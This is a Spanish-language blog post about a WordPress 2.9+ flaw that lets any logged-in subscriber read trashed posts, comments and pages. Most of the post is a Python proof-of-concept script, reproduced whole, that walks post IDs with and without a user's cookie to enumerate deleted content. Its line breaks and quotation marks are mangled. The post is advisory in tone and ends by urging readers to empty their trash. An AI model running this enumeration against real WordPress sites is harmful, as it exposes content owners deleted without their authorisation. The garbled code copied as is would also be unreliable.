Script para leer papelera en WordPress
Un nuevo fallo en el famoso WordPress, descubierto por el investigador Thomas Mackenzie permitiría a “cualquier” persona los artículos, comentarios y paginas, que hayas borrado y se encuentren en la “papelera”.

Desde la versión 2.9 de WordPress se implementó una nueva característica llamada “papelera“, con la cual todos los artículos, comentarios o páginas “borradas” pasarían a la “papelera de reciclaje” para prevenir así que sean eliminados de forma accidental.
Lo que descubrió Thomas Mackenzie es que en WordPress decidieron no ponerle restricción de acceso a los contenidos de la “papelera”, por lo que cualquier persona con privilegio 0 (Suscriptor) podría ver todo lo que estuviera almacenado en ella, el único inconveniente (y posiblemente la razón por la que dejaron este nivel de acceso), es que necesitamos conocer la ruta de los contenidos eliminados para poder acceder a ellos… cosa que Mackenzie pudo solucionar desarrollando este script en Python, con el que enumera los contenidos que tenemos en nuestra “papelera”.
El Script es el siguiente:
#/usr/bin/python
#
# WordPress > 2.9 Failure to Restrict URL Access PoC
#
# This script iterates through the WP post ID’s as an authenticated and unauthenticated user.
# If the requests differ a ‘Trash’ post has been found.
#
# You will need an authenticated user cookie of any priveledge to run this script.
#
# Example cookie:
# wordpress_logged_in_62b3ab14f277d92d3d313662ea0c84e3=test%7C1266245173%7C990157a59700a69edbf133aa22fca1f8
#
# Will only work with WP URLs with the ‘/?p={int}’ parameter. Would need to handle redirects (3xx) to handle all URL types.
#
#
# Research/PoC/Advisory By: Tom Mackenzie (tmacuk) and Ryan Dewhurst (ethicalhack3r)import httplib
# Declare vars
blogURL = “www.example.com”
userCookie = “enter_cookie_here”
postID = 0 #Leave at 0conn = httplib.HTTPConnection(blogURL)
Headers = {“Cookie” : userCookie}
print “Target = http://” + blogURL + “/?p=” + str(postID)while 1:
# Start non authenticated enumeration
request = ‘/?p=’ + str(postID)
conn.request(“GET”, request, “”)try:
r1 = conn.getresponse()
except:
print “Connection error”data1 = r1.read()
# Start authenticated enumeration
conn.request(“GET”, request, None, Headers)
try:
r2 = conn.getresponse()
except:
print “Connection error”data2 = r2.read()
# Compare the HTML body reponses
if data1 != data2:
print “+ Found! http://” + blogURL + request
else:
print requestpostID += 1
conn.close()
(Así que ya sabes, Vacía la papelera!)
Tagged with: hacking
Fichero archivado: Vulnerabilidades • Web
Le gusto este articulo? Subscribete a mi RSS feed y obtener mas descargas!


















Deje una contestacion